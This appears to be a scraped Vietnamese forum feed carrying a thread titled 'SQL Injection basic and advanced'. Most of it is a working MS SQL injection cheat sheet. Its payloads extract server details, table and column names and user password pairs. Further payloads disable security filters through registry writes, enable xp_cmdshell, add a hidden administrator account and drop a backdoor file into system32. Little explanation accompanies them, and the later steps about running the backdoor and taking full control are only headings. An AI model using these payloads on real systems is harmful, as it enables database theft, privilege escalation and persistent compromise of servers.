<![CDATA[Latest posts for the topic "SQL - Injection cơ bản và nâng cao "]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net SQL - Injection cơ bản và nâng cao 1. Khai thac thong tin ve MS SQL server ' Thông tin về version của MS SQL and 1=@@version--sp_password 'Thông tin về servername and 1=@@servername--sp_password 'Thông tin về SERVICENAME and 1=@@SERVICENAME--sp_password 'Thông tin về UID and 1=system_user--sp_password 'Thông tin về PWD ? 2. Khai thac thong tin ve Database 'Thông tin về tên database and 1=db_name()--sp_password 3. Khai thac thong tin ve Table 'Khai thác thông tin về Table having 1=1--sp_password 'Khai thác thông tin về các Table group by QUESTIONS.QUEST_ID having 1=1--sp_password 'Khai thác thông tin về Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password 'Khai thác thông tin về các Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('PRODUCTS')--sp_password 'Khai thác thông tin về Table and 38=convert(int,(select top 1 table_name from information_schema.tables))--sp_password 'Khai thác thông tin về các Table and 38=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('PRODUCTS')))--sp_password 4. Khai thac thong tin ve Column 'Khai thác thông tin về Column and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS')))--sp_password 'Khai thác thông tin về các Column and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS') and column_name not in ('QUEST_ID')))--sp_password 5. Khai thac thong tin ve Content 'Khai thác thông tin với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat))--sp_password 'Khai thác thông tin dòng tiếp theo với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where NgayXuat<>'Mar 12 2003 12:00AM '))--sp_password 'Khai thác thông tin về dòng đầu tiên and 1=convert(int,(select top 1 userName+'/'+userPass from Users))--sp_password 'Khai thác thông tin dòng tiếp theo and 1=convert(int,(select top 1 userName+'/'+userPass from Users where userName not in('admin')))--sp_password 6. Khai thac thong tin ve Table, Column, Content cua cac database tiep Chú ý: để nhận biết kiểu của cột dữ liệu ta dùng "image" để kiểm tra: -Nếu là trường kiểu ngày/giờ Dùng: char,nchar,nvarchar,varchar B. Upload backdoor lên host 1. Xác định mức quyền và cho phép thực thilệnh của MS SQL server 'Xác định mức quyền ;select * from openrowset('sqloledb','';;,'')-- 'Thay đổi mức quyền ;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1-- ;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWORD,0-- 'Xoá bỏ và khôi phục Log và firewall trong MS SQL ;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'-- ;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters',REG_DWORD,0-- 'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES ;select * from openrowset('sqloledb', 'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')-- 2. Do thám đưa thêm các thông tin 'Do tham IP của server và đưa vào bảng testip ;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'ipconfig'-- 'Cộng thêm một quyền quản trị mới ;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&") 3. Đưa backdoor lên server'Upload backdoor lên server vào thư mục C:\WINDOWS\system32 ;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt"')-- ;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt & hamhoc >>runfile.txt"')-- 'Kiểm tra xem backdoor đã upload thành công chưa ;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'dir runfile.txt'-- C. Chạy backdoor trên server 1. Xác nhận backdoor đã được kích hoạt 2. Chiếm toàn bộ quyền điều khiển server ]]> /hvaonline/posts/list/458.html#1260 /hvaonline/posts/list/458.html#1260 GMT SQL - Injection cơ bản và nâng cao /hvaonline/posts/list/458.html#29718 /hvaonline/posts/list/458.html#29718 GMT SQL - Injection cơ bản và nâng cao /hvaonline/posts/list/458.html#30061 /hvaonline/posts/list/458.html#30061 GMT Re: SQL - Injection cơ bản và nâng cao /hvaonline/posts/list/458.html#32251 /hvaonline/posts/list/458.html#32251 GMT